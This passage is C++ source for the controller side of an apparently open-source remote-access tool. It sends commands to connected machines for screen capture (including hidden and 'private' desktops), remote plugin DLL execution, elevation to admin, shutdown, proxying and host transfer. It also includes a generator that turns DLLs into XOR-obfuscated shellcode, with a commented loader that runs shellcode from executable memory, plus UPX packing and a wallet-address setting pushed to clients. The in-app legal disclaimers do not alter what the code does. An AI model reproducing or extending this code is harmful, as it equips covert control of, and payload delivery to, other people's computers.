DeletePopupWindow();
}
}
}
return CDialogEx::PreTranslateMessage(pMsg);
}
void CMy2015RemoteDlg::OnOnlineShare()
{
CInputDialog dlg(this);
dlg.Init("分享主机", "输入<IP:PORT>地址:");
if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty())
return;
if (dlg.m_str.GetLength() >= 250) {
MessageBox("字符串长度超出[0, 250]范围限制!", "提示", MB_ICONINFORMATION);
return;
}
BYTE bToken[_MAX_PATH] = { COMMAND_SHARE };
// 目标主机类型
bToken[1] = SHARE_TYPE_YAMA;
memcpy(bToken + 2, dlg.m_str, dlg.m_str.GetLength());
SendSelectedCommand(bToken, sizeof(bToken));
}
void CMy2015RemoteDlg::OnToolAuth()
{
CPwdGenDlg dlg;
std::string hardwareID = getHardwareID();
std::string hashedID = hashSHA256(hardwareID);
std::string deviceID = getFixedLengthID(hashedID);
dlg.m_sDeviceID = deviceID.c_str();
dlg.m_sUserPwd = m_superPass.c_str();
dlg.DoModal();
if (!dlg.m_sUserPwd.IsEmpty()) {
m_superPass = dlg.m_sUserPwd;
if (deviceID.c_str() == dlg.m_sDeviceID) {
m_nMaxConnection = dlg.m_nHostNum;
THIS_APP->UpdateMaxConnection(m_nMaxConnection);
}
}
}
void CMy2015RemoteDlg::OnMainProxy()
{
EnterCriticalSection(&m_cs);
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
while (Pos) {
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
context* ContextObject = (context*)m_CList_Online.GetItemData(iItem);
BYTE cmd[] = { COMMAND_PROXY };
ContextObject->Send2Client( cmd, sizeof(cmd));
break;
}
LeaveCriticalSection(&m_cs);
}
void CMy2015RemoteDlg::OnOnlineHostnote()
{
CInputDialog dlg(this);
dlg.Init("修改备注", "请输入主机备注: ");
if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty()) {
return;
}
if (dlg.m_str.GetLength() >= 64) {
MessageBox("备注信息长度不能超过64个字符", "提示", MB_ICONINFORMATION);
dlg.m_str = dlg.m_str.Left(63);
}
BOOL modified = FALSE;
uint64_t key = 0;
EnterCriticalSection(&m_cs);
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
while (Pos) {
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
context* ContextObject = (context*)m_CList_Online.GetItemData(iItem);
auto f = m_ClientMap.find(ContextObject->GetClientID());
if (f == m_ClientMap.end())
m_ClientMap[ContextObject->GetClientID()] = ClientValue("", dlg.m_str);
else
m_ClientMap[ContextObject->GetClientID()].UpdateNote(dlg.m_str);
m_CList_Online.SetItemText(iItem, ONLINELIST_COMPUTER_NAME, dlg.m_str);
modified = TRUE;
}
LeaveCriticalSection(&m_cs);
if (modified) {
EnterCriticalSection(&m_cs);
SaveToFile(m_ClientMap, GetDbPath());
LeaveCriticalSection(&m_cs);
}
}
char* ReadFileToBuffer(const std::string &path, size_t& outSize)
{
// 打开文件
std::ifstream file(path, std::ios::binary | std::ios::ate); // ate = 跳到末尾获得大小
if (!file) {
return nullptr;
}
// 获取文件大小并分配内存
std::streamsize size = file.tellg();
file.seekg(0, std::ios::beg);
char* buffer = new char[size];
// 读取文件到 buffer
if (!file.read(buffer, size)) {
delete[] buffer;
return nullptr;
}
outSize = static_cast<size_t>(size);
return buffer;
}
//////////////////////////////////////////////////////////////////////////
// UPX
BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size)
{
// 打开文件,以二进制模式写入
std::string filePath = path;
std::ofstream outFile(filePath, std::ios::binary);
if (!outFile) {
Mprintf("Failed to open or create the file: %s.\n", filePath.c_str());
return FALSE;
}
// 写入二进制数据
outFile.write(data, size);
if (outFile.good()) {
Mprintf("Binary data written successfully to %s.\n", filePath.c_str());
} else {
Mprintf("Failed to write data to file.\n");
outFile.close();
return FALSE;
}
// 关闭文件
outFile.close();
return TRUE;
}
int run_cmd(std::string cmdLine)
{
STARTUPINFOA si = { sizeof(si) };
si.dwFlags |= STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
PROCESS_INFORMATION pi = { 0 };
BOOL success = CreateProcessA(
NULL,
&cmdLine[0], // 注意必须是非 const char*
NULL, NULL, FALSE,
0, NULL, NULL, &si, &pi
);
if (!success) {
Mprintf("Failed to run UPX. Error: %d\n", GetLastError());
return -1;
}
WaitForSingleObject(pi.hProcess, INFINITE);
DWORD exitCode;
GetExitCodeProcess(pi.hProcess, &exitCode);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return static_cast<int>(exitCode);
}
int run_upx(const std::string& upx, const std::string &file, bool isCompress)
{
std::string cmd = isCompress ? "\" --best \"" : "\" -d \"";
std::string cmdLine = "\"" + upx + cmd + file + "\"";
return run_cmd(cmdLine);
}
std::string ReleaseUPX()
{
return ReleaseEXE(IDR_BINARY_UPX, "upx.exe");
}
// 解压UPX对当前应用程序进行操作
bool UPXUncompressFile(const std::string& upx, std::string &file)
{
char path[MAX_PATH];
DWORD len = GetModuleFileNameA(NULL, path, MAX_PATH);
std::string curExe = path;
if (!upx.empty()) {
file = curExe + ".tmp";
if (!CopyFile(curExe.c_str(), file.c_str(), FALSE)) {
Mprintf("Failed to copy file. Error: %d\n", GetLastError());
return false;
}
int result = run_upx(upx, file, false);
Mprintf("UPX decompression %s!\n", result ? "failed" : "successful");
return 0 == result;
}
return false;
}
struct UpxTaskArgs {
HWND hwnd; // 主窗口句柄
std::string upx;
std::string file;
bool isCompress;
};
DWORD WINAPI UpxThreadProc(LPVOID lpParam)
{
UpxTaskArgs* args = (UpxTaskArgs*)lpParam;
int result = run_upx(args->upx, args->file, args->isCompress);
// 向主线程发送完成消息wParam可传结果
PostMessageA(args->hwnd, WM_UPXTASKRESULT, (WPARAM)result, 0);
DeleteFile(args->upx.c_str());
delete args;
return 0;
}
void run_upx_async(HWND hwnd, const std::string& upx, const std::string& file, bool isCompress)
{
UpxTaskArgs* args = new UpxTaskArgs{ hwnd, upx, file, isCompress };
CloseHandle(CreateThread(NULL, 0, UpxThreadProc, args, 0, NULL));
}
LRESULT CMy2015RemoteDlg::UPXProcResult(WPARAM wParam, LPARAM lParam)
{
int exitCode = static_cast<int>(wParam);
ShowMessage(exitCode == 0 ? "操作成功":"操作失败", "UPX 处理完成");
return S_OK;
}
//////////////////////////////////////////////////////////////////////////
void CMy2015RemoteDlg::OnToolGenMaster()
{
// 主控程序公网IP
std::string master = THIS_CFG.GetStr("settings", "master", "");
if (master.empty()) {
MessageBox("请通过菜单设置当前主控程序的公网地址(域名)! 此地址会写入即将生成的主控程序中。"
"\n只有正确设置公网地址,才能在线延长由本程序所生成的主控程序的有效期。", "提示", MB_ICONINFORMATION);
}
std::string masterHash(GetMasterHash());
if (m_superPass.empty()) {
CInputDialog pass(this);
pass.Init("主控生成", "当前主控程序的密码:");
pass.m_str = m_superPass.c_str();
if (pass.DoModal() != IDOK || pass.m_str.IsEmpty())
return;
if (hashSHA256(pass.m_str.GetBuffer()) != masterHash) {
MessageBox("密码不正确,无法生成主控程序!", "错误", MB_ICONWARNING);
return;
}
m_superPass = pass.m_str.GetString();
}
CInputDialog dlg(this);
dlg.Init("主控密码", "新的主控程序的密码:");
if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty())
return;
if (dlg.m_str.GetLength() > 15) {
MessageBox("密码长度不能大于15。", "错误", MB_ICONWARNING);
return;
}
CInputDialog days(this);
days.Init("使用天数", "新主控程序使用天数:");
if (days.DoModal() != IDOK || days.m_str.IsEmpty())
return;
size_t size = 0;
char path[MAX_PATH];
DWORD len = GetModuleFileNameA(NULL, path, MAX_PATH);
if (len == 0 || len == MAX_PATH) {
return;
}
char* curEXE = ReadFileToBuffer(path, size);
if (curEXE == nullptr) {
MessageBox("读取文件失败! 请稍后再次尝试。", "错误", MB_ICONWARNING);
return;
}
std::string pwdHash = hashSHA256(dlg.m_str.GetString());
int iOffset = MemoryFind(curEXE, masterHash.c_str(), size, masterHash.length());
std::string upx = ReleaseUPX();
if (iOffset == -1) {
SAFE_DELETE_ARRAY(curEXE);
std::string tmp;
if (!UPXUncompressFile(upx, tmp) || nullptr == (curEXE = ReadFileToBuffer(tmp.c_str(), size))) {
MessageBox("操作文件失败! 请稍后再次尝试。", "错误", MB_ICONWARNING);
if (!upx.empty()) DeleteFile(upx.c_str());
if (!tmp.empty()) DeleteFile(tmp.c_str());
return;
}
DeleteFile(tmp.c_str());
iOffset = MemoryFind(curEXE, masterHash.c_str(), size, masterHash.length());
if (iOffset == -1) {
SAFE_DELETE_ARRAY(curEXE);
MessageBox("操作文件失败! 请稍后再次尝试。", "错误", MB_ICONWARNING);
return;
}
}
int port = THIS_CFG.Get1Int("settings", "ghost", ';', 6543);
std::string id = genHMAC(pwdHash, m_superPass);
Validation verify(atof(days.m_str), master.c_str(), port<=0 ? 6543 : port, id.c_str());
if (!WritePwdHash(curEXE + iOffset, pwdHash, verify)) {
MessageBox("写入哈希失败! 无法生成主控。", "错误", MB_ICONWARNING);
SAFE_DELETE_ARRAY(curEXE);
return;
}
CComPtr<IShellFolder> spDesktop;
HRESULT hr = SHGetDesktopFolder(&spDesktop);
if (FAILED(hr)) {
MessageBox("Explorer 未正确初始化! 请稍后再试。", "提示");
SAFE_DELETE_ARRAY(curEXE);
return;
}
// 过滤器:显示所有文件和特定类型文件(例如文本文件)
CFileDialog fileDlg(FALSE, _T("exe"), "YAMA.exe", OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
_T("EXE Files (*.exe)|*.exe|All Files (*.*)|*.*||"), AfxGetMainWnd());
int ret = 0;
try {
ret = fileDlg.DoModal();
} catch (...) {
MessageBox("文件对话框未成功打开! 请稍后再试。", "提示");
SAFE_DELETE_ARRAY(curEXE);
return;
}
if (ret == IDOK) {
CString name = fileDlg.GetPathName();
CFile File;
BOOL r = File.Open(name, CFile::typeBinary | CFile::modeCreate | CFile::modeWrite);
if (!r) {
MessageBox("主控程序创建失败!\r\n" + name, "提示", MB_ICONWARNING);
SAFE_DELETE_ARRAY(curEXE);
return;
}
File.Write(curEXE, size);
File.Close();
if (!upx.empty()) {
#ifndef _DEBUG // DEBUG 模式用UPX压缩的程序可能无法正常运行
run_upx_async(GetSafeHwnd(), upx, name.GetString(), true);
MessageBox("正在UPX压缩请关注信息提示。\r\n文件位于: " + name, "提示", MB_ICONINFORMATION);
#endif
} else
MessageBox("生成成功! 文件位于:\r\n" + name, "提示", MB_ICONINFORMATION);
}
SAFE_DELETE_ARRAY(curEXE);
}
void CMy2015RemoteDlg::OnHelpImportant()
{
const char* msg =
"本软件以“现状”提供,不附带任何保证。使用本软件的风险由用户自行承担。"
"我们不对任何因使用本软件而引发的非法或恶意用途负责。用户应遵守相关法律"
"法规,并负责任地使用本软件。开发者对任何因使用本软件产生的损害不承担责任。";
MessageBox(msg, "免责声明", MB_ICONINFORMATION);
}
void CMy2015RemoteDlg::OnHelpFeedback()
{
CString url = _T("https://github.com/yuanyuanxiang/SimpleRemoter/issues/new");
ShellExecute(NULL, _T("open"), url, NULL, NULL, SW_SHOWNORMAL);
}
void CMy2015RemoteDlg::OnDynamicSubMenu(UINT nID)
{
if (m_DllList.size() == 0) {
MessageBoxA("请将64位的DLL放于主控程序的 'Plugins' 目录,再来点击此项菜单。"
"\n执行未经测试的代码可能造成程序崩溃。", "提示", MB_ICONINFORMATION);
char path[_MAX_PATH];
GetModuleFileNameA(NULL, path, _MAX_PATH);
GET_FILEPATH(path, "Plugins");
m_DllList = ReadAllDllFilesWindows(path);
return;
}
int menuIndex = nID - ID_DYNAMIC_MENU_BASE; // 计算菜单项的索引(基于 ID
EnterCriticalSection(&m_cs);
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
while (Pos && menuIndex < m_DllList.size()) {
Buffer* buf = m_DllList[menuIndex]->Data;
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
context* ContextObject = (context*)m_CList_Online.GetItemData(iItem);
ContextObject->Send2Client( buf->Buf(), 1 + sizeof(DllExecuteInfo) );
}
LeaveCriticalSection(&m_cs);
}
void CMy2015RemoteDlg::OnOnlineVirtualDesktop()
{
BYTE bToken[32] = { COMMAND_SCREEN_SPY, 2, ALGORITHM_DIFF };
SendSelectedCommand(bToken, sizeof(bToken));
}
void CMy2015RemoteDlg::OnOnlineGrayDesktop()
{
BYTE bToken[32] = { COMMAND_SCREEN_SPY, 0, ALGORITHM_GRAY };
SendSelectedCommand(bToken, sizeof(bToken));
}
void CMy2015RemoteDlg::OnOnlineRemoteDesktop()
{
BYTE bToken[32] = { COMMAND_SCREEN_SPY, 1, ALGORITHM_DIFF };
SendSelectedCommand(bToken, sizeof(bToken));
}
void CMy2015RemoteDlg::OnOnlineH264Desktop()
{
BYTE bToken[32] = { COMMAND_SCREEN_SPY, 0, ALGORITHM_H264 };
SendSelectedCommand(bToken, sizeof(bToken));
}
void CMy2015RemoteDlg::OnWhatIsThis()
{
CString url = _T("https://github.com/yuanyuanxiang/SimpleRemoter/wiki");
ShellExecute(NULL, _T("open"), url, NULL, NULL, SW_SHOWNORMAL);
}
void CMy2015RemoteDlg::OnOnlineAuthorize()
{
if (m_superPass.empty()) {
CInputDialog pass(this);
pass.Init("需要密码", "当前主控程序的密码:");
if (pass.DoModal() != IDOK || pass.m_str.IsEmpty())
return;
std::string masterHash(GetMasterHash());
if (hashSHA256(pass.m_str.GetBuffer()) != masterHash) {
MessageBox("密码不正确!", "错误", MB_ICONWARNING);
return;
}
m_superPass = pass.m_str;
}
CInputDialog dlg(this);
dlg.Init("延长授权", "主控程序授权天数:");
dlg.Init2("并发上线机器数量:", std::to_string(100).c_str());
if (dlg.DoModal() != IDOK || atoi(dlg.m_str) <= 0)
return;
BYTE bToken[32] = { CMD_AUTHORIZATION };
unsigned short days = atoi(dlg.m_str);
unsigned short num = atoi(dlg.m_sSecondInput);
uint32_t tm = clock();
// 2字节天数+2字节主机数+4字节时间戳+消息签名
memcpy(bToken+1, &days, sizeof(days));
memcpy(bToken+3, &num, sizeof(num));
memcpy(bToken + 8, &tm, sizeof(tm));
uint64_t signature = SignMessage(m_superPass, bToken, 12);
memcpy(bToken + 12, &signature, sizeof(signature));
SendSelectedCommand(bToken, sizeof(bToken));
}
void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
{
LPNMITEMACTIVATE pNMItem = (LPNMITEMACTIVATE)pNMHDR;
if (pNMItem->iItem >= 0) {
// 获取数据
context* ctx = (context*)m_CList_Online.GetItemData(pNMItem->iItem);
CString res[RES_MAX];
CString startTime = ctx->GetClientData(ONLINELIST_LOGINTIME);
ctx->GetAdditionalData(res);
FlagType type = ctx->GetFlagType();
static std::map<FlagType, std::string> typMap = {
{FLAG_WINOS, "WinOS"}, {FLAG_UNKNOWN, "Unknown"}, {FLAG_SHINE, "Shine"},
{FLAG_FUCK, "FUCK"}, {FLAG_HELLO, "Hello"}, {FLAG_HELL, "HELL"},
};
// 拼接内容
CString strText;
std::string expired = res[RES_EXPIRED_DATE];
expired = expired.empty() ? "" : " Expired on " + expired;
strText.Format(_T("文件路径: %s%s %s\r\n系统信息: %s 位 %s 核心 %s GB\r\n启动信息: %s %s\r\n上线信息: %s %d %s"),
res[RES_PROGRAM_BITS].IsEmpty() ? "" : res[RES_PROGRAM_BITS] + "", res[RES_FILE_PATH], res[RES_EXE_VERSION],
res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], startTime, expired.c_str(),
ctx->GetProtocol().c_str(), ctx->GetServerPort(), typMap[type].c_str());
// 获取鼠标位置
CPoint pt;
GetCursorPos(&pt);
// 清理旧提示
DeletePopupWindow();
// 创建提示窗口
m_pFloatingTip = new CWnd();
int width = res[RES_FILE_PATH].GetLength() * 10 + 36;
width = min(max(width, 360), 800);
CRect rect(pt.x, pt.y, pt.x + width, pt.y + 80); // 宽度、高度
BOOL bOk = m_pFloatingTip->CreateEx(
WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE,
_T("STATIC"),
strText,
WS_POPUP | WS_VISIBLE | WS_BORDER | SS_LEFT | SS_NOTIFY,
rect,
this,
0);
if (bOk) {
m_pFloatingTip->SetFont(GetFont());
m_pFloatingTip->ShowWindow(SW_SHOW);
SetTimer(TIMER_CLOSEWND, 5000, nullptr);
} else {
SAFE_DELETE(m_pFloatingTip);
}
}
*pResult = 0;
}
void CMy2015RemoteDlg::OnOnlineUnauthorize()
{
if (m_superPass.empty()) {
CInputDialog pass(this);
pass.Init("需要密码", "当前主控程序的密码:");
if (pass.DoModal() != IDOK || pass.m_str.IsEmpty())
return;
std::string masterHash(GetMasterHash());
if (hashSHA256(pass.m_str.GetBuffer()) != masterHash) {
MessageBox("密码不正确!", "错误", MB_ICONWARNING);
return;
}
m_superPass = pass.m_str;
}
BYTE bToken[32] = { CMD_AUTHORIZATION };
unsigned short days = 0;
unsigned short num = 1;
uint32_t tm = clock();
// 2字节天数+2字节主机数+4字节时间戳+消息签名
memcpy(bToken + 1, &days, sizeof(days));
memcpy(bToken + 3, &num, sizeof(num));
memcpy(bToken + 8, &tm, sizeof(tm));
uint64_t signature = SignMessage(m_superPass, bToken, 12);
memcpy(bToken + 12, &signature, sizeof(signature));
SendSelectedCommand(bToken, sizeof(bToken));
}
void CMy2015RemoteDlg::OnToolRequestAuth()
{
MessageBoxA("本软件仅限于合法、正当、合规的用途。\r\n禁止将本软件用于任何违法、恶意、侵权或违反道德规范的行为。",
"声明", MB_ICONINFORMATION);
CString url = _T("https://github.com/yuanyuanxiang/SimpleRemoter/wiki#请求授权");
ShellExecute(NULL, _T("open"), url, NULL, NULL, SW_SHOWNORMAL);
}
void CMy2015RemoteDlg::OnToolInputPassword()
{
if (CheckValid(-1)) {
CString pwd = THIS_CFG.GetStr("settings", "Password", "").c_str();
auto v = splitString(pwd.GetBuffer(), '-');
CString info;
info.Format("软件有效期限: %s — %s, 并发连接数量: %d.", v[0].c_str(), v[1].c_str(), atoi(v[2].c_str()));
if (IDYES == MessageBoxA(info + "\n如需修改授权信息,请联系管理员。是否现在修改授权?", "提示", MB_YESNO | MB_ICONINFORMATION)) {
CInputDialog dlg(this);
dlg.m_str = pwd;
dlg.Init("更改口令", "请输入新的口令:");
if (dlg.DoModal() == IDOK) {
THIS_CFG.SetStr("settings", "Password", dlg.m_str.GetString());
#ifdef _DEBUG
SetTimer(TIMER_CHECK, 10 * 1000, NULL);
#else
SetTimer(TIMER_CHECK, 600 * 1000, NULL);
#endif
}
}
}
}
/* Example: <Select TinyRun.dll to build "tinyrun.c">
#include "tinyrun.c"
#include <windows.h>
#include <stdio.h>
int main() {
void* exec = VirtualAlloc(NULL,Shellcode_len,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if (exec) {
memcpy(exec, Shellcode, Shellcode_len);
((void(*)())exec)();
Sleep(INFINITE);
}
return 0;
}
*/
#include "common/obfs.h"
void shellcode_process(ObfsBase *obfs) {
CFileDialog fileDlg(TRUE, _T("dll"), NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
_T("DLL Files (*.dll)|*.dll|All Files (*.*)|*.*||"), AfxGetMainWnd());
int ret = 0;
try {
ret = fileDlg.DoModal();
}
catch (...) {
AfxMessageBox("文件对话框未成功打开! 请稍后再试。", MB_ICONWARNING);
return;
}
if (ret == IDOK) {
CString name = fileDlg.GetPathName();
CFile File;
BOOL r = File.Open(name, CFile::typeBinary | CFile::modeRead);
if (!r) {
AfxMessageBox("文件打开失败! 请稍后再试。\r\n" + name, MB_ICONWARNING);
return;
}
int dwFileSize = File.GetLength();
LPBYTE szBuffer = new BYTE[dwFileSize];
File.Read(szBuffer, dwFileSize);
File.Close();
LPBYTE srcData = NULL;
int srcLen = 0;
if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize)) {
TCHAR buffer[MAX_PATH];
_tcscpy_s(buffer, name);
PathRemoveExtension(buffer);
const uint32_t key = 0xDEADBEEF;
const BYTE* p = srcData;
obfs->ObfuscateBuffer(srcData, srcLen, key);
if (obfs->WriteBinaryAsCArray(CString(buffer) + ".c", srcData, srcLen, "Shellcode")) {
AfxMessageBox("Shellcode 生成成功! 请自行编写调用程序。\r\n" + CString(buffer) + ".c",
MB_ICONINFORMATION);
}
}
SAFE_DELETE_ARRAY(srcData);
SAFE_DELETE_ARRAY(szBuffer);
}
}
void CMy2015RemoteDlg::OnToolGenShellcode()
{
ObfsBase obfs;
shellcode_process(&obfs);
}
void CMy2015RemoteDlg::OnObfsShellcode()
{
Obfs obfs;
shellcode_process(&obfs);
}
void CMy2015RemoteDlg::OnOnlineAssignTo()
{
CInputDialog dlg(this);
dlg.Init("转移主机(到期自动复原)", "输入<IP:PORT>地址:");
dlg.Init2("天数(支持浮点数):", "30");
if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty() || atof(dlg.m_sSecondInput.GetString())<=0)
return;
if (dlg.m_str.GetLength() >= 250) {
MessageBox("字符串长度超出[0, 250]范围限制!", "提示", MB_ICONINFORMATION);
return;
}
if (dlg.m_sSecondInput.GetLength() >= 6) {
MessageBox("超出使用时间可输入的字符数限制!", "提示", MB_ICONINFORMATION);
return;
}
BYTE bToken[_MAX_PATH] = { COMMAND_ASSIGN_MASTER };
// 目标主机类型
bToken[1] = SHARE_TYPE_YAMA_FOREVER;
memcpy(bToken + 2, dlg.m_str, dlg.m_str.GetLength());
bToken[2 + dlg.m_str.GetLength()] = ':';
memcpy(bToken + 2 + dlg.m_str.GetLength() + 1, dlg.m_sSecondInput, dlg.m_sSecondInput.GetLength());
SendSelectedCommand(bToken, sizeof(bToken));
}
void CMy2015RemoteDlg::OnNMCustomdrawMessage(NMHDR* pNMHDR, LRESULT* pResult)
{
LPNMLVCUSTOMDRAW pLVCD = reinterpret_cast<LPNMLVCUSTOMDRAW>(pNMHDR);
*pResult = 0;
switch (pLVCD->nmcd.dwDrawStage) {
case CDDS_PREPAINT:
*pResult = CDRF_NOTIFYITEMDRAW;
return;
case CDDS_ITEMPREPAINT: {
int nRow = static_cast<int>(pLVCD->nmcd.dwItemSpec);
int nLastRow = m_CList_Message.GetItemCount() - 1;
if (nRow == nLastRow && nLastRow >= 0) {
pLVCD->clrText = RGB(255, 0, 0);
}
}
}
}
void CMy2015RemoteDlg::OnOnlineAddWatch()
{
EnterCriticalSection(&m_cs);
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
while (Pos) {
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
context* ctx = (context*)m_CList_Online.GetItemData(iItem);
auto f = m_ClientMap.find(ctx->GetClientID());
int r = f != m_ClientMap.end() ? f->second.GetLevel() : 0;
m_ClientMap[ctx->GetClientID()].UpdateLevel(++r >= 4 ? 0 : r);
}
SaveToFile(m_ClientMap, GetDbPath());
LeaveCriticalSection(&m_cs);
}
void CMy2015RemoteDlg::OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult)
{
LPNMLVCUSTOMDRAW pLVCD = reinterpret_cast<LPNMLVCUSTOMDRAW>(pNMHDR);
*pResult = 0;
switch (pLVCD->nmcd.dwDrawStage) {
case CDDS_PREPAINT:
*pResult = CDRF_NOTIFYITEMDRAW;
return;
case CDDS_ITEMPREPAINT: {
int nRow = static_cast<int>(pLVCD->nmcd.dwItemSpec);
EnterCriticalSection(&m_cs);
context* ctx = (context*)m_CList_Online.GetItemData(nRow);
auto f = m_ClientMap.find(ctx->GetClientID());
int r = f != m_ClientMap.end() ? f->second.GetLevel() : 0;
LeaveCriticalSection(&m_cs);
if (r >= 1) pLVCD->clrText = RGB(0, 0, 255); // 字体蓝
if (r >= 2) pLVCD->clrText = RGB(255, 0, 0); // 字体红
if (r >= 3) pLVCD->clrTextBk = RGB(255, 160, 160); // 背景红
}
}
}
void CMy2015RemoteDlg::OnOnlineRunAsAdmin()
{
if (MessageBoxA("确定要以管理员权限重新启动目标应用程序吗?\n此操作可能触发 UAC 账户控制。",
"提示", MB_ICONQUESTION | MB_YESNO) == IDYES) {
EnterCriticalSection(&m_cs);
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
while (Pos) {
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
context* ContextObject = (context*)m_CList_Online.GetItemData(iItem);
BYTE token = CMD_RUNASADMIN;
ContextObject->Send2Client(&token, sizeof(token));
}
LeaveCriticalSection(&m_cs);
}
}
void CMy2015RemoteDlg::OnMainWallet()
{
CWalletDlg dlg(this);
dlg.m_str = CString(m_settings.WalletAddress);
if (dlg.DoModal() != IDOK || CString(m_settings.WalletAddress) == dlg.m_str)
return;
if (dlg.m_str.GetLength() > 470) {
MessageBox("超出钱包地址可输入的字符数限制!", "提示", MB_ICONINFORMATION);
return;
}
strcpy(m_settings.WalletAddress, dlg.m_str);
THIS_CFG.SetStr("settings", "wallet", m_settings.WalletAddress);
SendMasterSettings(nullptr);
}
void CMy2015RemoteDlg::OnToolRcedit()
{
CRcEditDlg dlg;
dlg.DoModal();
}
void CMy2015RemoteDlg::OnOnlineUninstall()
{
if (IDYES != MessageBox(_T("确定卸载选定的被控程序吗?"), _T("提示"), MB_ICONQUESTION | MB_YESNO))
return;
BYTE bToken = TOKEN_UNINSTALL;
SendSelectedCommand(&bToken, sizeof(BYTE));
EnterCriticalSection(&m_cs);
int iCount = m_CList_Online.GetSelectedCount();
for (int i = 0; i < iCount; ++i) {
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
CString strIP = m_CList_Online.GetItemText(iItem, ONLINELIST_IP);
context* ctx = (context*)m_CList_Online.GetItemData(iItem);
m_CList_Online.DeleteItem(iItem);
m_HostList.erase(ctx);
ctx->Destroy();
strIP += "断开连接";
ShowMessage("操作成功", strIP);
}
LeaveCriticalSection(&m_cs);
}
void CMy2015RemoteDlg::OnOnlinePrivateScreen()
{
std::string masterId = GetPwdHash(), hmac = GetHMAC();
if (hmac.empty())
hmac = THIS_CFG.GetStr("settings", "HMAC");
BYTE bToken[101] = { TOKEN_PRIVATESCREEN };
memcpy(bToken + 1, masterId.c_str(), masterId.length());
memcpy(bToken + 1 + masterId.length(), hmac.c_str(), hmac.length());
SendSelectedCommand(bToken, sizeof(bToken));
}
void CMy2015RemoteDlg::LoadListData(const std::string& group)
{
m_CList_Online.DeleteAllItems();
int iCount = 0;
for (auto& ctx : m_HostList) {
if (group == _T("default") || ctx->GetGroupName() == group) {
CString strIP=ctx->GetClientData(ONLINELIST_IP);
auto& m = m_ClientMap[ctx->GetClientID()];
auto pubIP = ctx->GetAdditionalData(RES_CLIENT_PUBIP);
bool flag = strIP == "127.0.0.1" && !pubIP.IsEmpty();
int i = m_CList_Online.InsertItem(m_CList_Online.GetItemCount(), flag ? pubIP : strIP);
for (int n = ONLINELIST_ADDR; n <= ONLINELIST_CLIENTTYPE; n++) {
auto data = ctx->GetClientData(n);
n == ONLINELIST_COMPUTER_NAME ?
m_CList_Online.SetItemText(i, n, m.GetNote()[0] ? m.GetNote() : data) :
m_CList_Online.SetItemText(i, n, data.IsEmpty() ? "?" : data);
}
m_CList_Online.SetItemData(i, (DWORD_PTR)ctx);
iCount++;
}
}
CString strStatusMsg;
strStatusMsg.Format("有%d个主机在线", iCount);
m_StatusBar.SetPaneText(0, strStatusMsg);
}
void CMy2015RemoteDlg::OnSelchangeGroupTab(NMHDR* pNMHDR, LRESULT* pResult)
{
int nSel = m_GroupTab.GetCurSel();
TCHAR szText[256] = {};
TCITEM item;
item.mask = TCIF_TEXT;
item.pszText = szText;
item.cchTextMax = sizeof(szText) / sizeof(TCHAR);
if (!m_GroupTab.GetItem(nSel, &item)) {
return;
}
EnterCriticalSection(&m_cs);
m_selectedGroup = szText;
LoadListData(szText);
LeaveCriticalSection(&m_cs);
*pResult = 0;
}
void CMy2015RemoteDlg::OnOnlineRegroup()
{
TODO_NOTICE;
}
void CMy2015RemoteDlg::MachineManage(MachineCommand type) {
if (MessageBoxA("此操作需客户端具有管理员权限,确定继续吗? ", "提示", MB_ICONQUESTION | MB_YESNO) == IDYES) {
EnterCriticalSection(&m_cs);
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
while (Pos) {
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
context* ContextObject = (context*)m_CList_Online.GetItemData(iItem);
BYTE token[32] = { TOKEN_MACHINE_MANAGE, type };
ContextObject->Send2Client(token, sizeof(token));
}
LeaveCriticalSection(&m_cs);
}
}
void CMy2015RemoteDlg::OnMachineLogout()
{
MachineManage(MACHINE_LOGOUT);
}
void CMy2015RemoteDlg::OnMachineShutdown()
{
MachineManage(MACHINE_SHUTDOWN);
}
void CMy2015RemoteDlg::OnMachineReboot()
{
MachineManage(MACHINE_REBOOT);
}
void CMy2015RemoteDlg::OnExecuteDownload()
{
TODO_NOTICE;
}
void CMy2015RemoteDlg::OnExecuteUpload()
{
TODO_NOTICE;
}
void CMy2015RemoteDlg::OnDestroy()
{
if (g_hKeyboardHook)
{
UnhookWindowsHookEx(g_hKeyboardHook);
g_hKeyboardHook = NULL;
}
CDialogEx::OnDestroy();
}
CString GetClipboardText()
{
if (!OpenClipboard(nullptr)) return _T("");
#ifdef UNICODE
HANDLE hData = GetClipboardData(CF_UNICODETEXT);
#else
HANDLE hData = GetClipboardData(CF_TEXT);
#endif
if (!hData) { CloseClipboard(); return _T(""); }
#ifdef UNICODE
wchar_t* pszText = static_cast<wchar_t*>(GlobalLock(hData));
#else
char* pszText = static_cast<char*>(GlobalLock(hData));
#endif
CString strText = pszText ? pszText : _T("");
GlobalUnlock(hData);
CloseClipboard();
return strText;
}
void SetClipboardText(const CString& text)
{
if (!OpenClipboard(nullptr)) return;
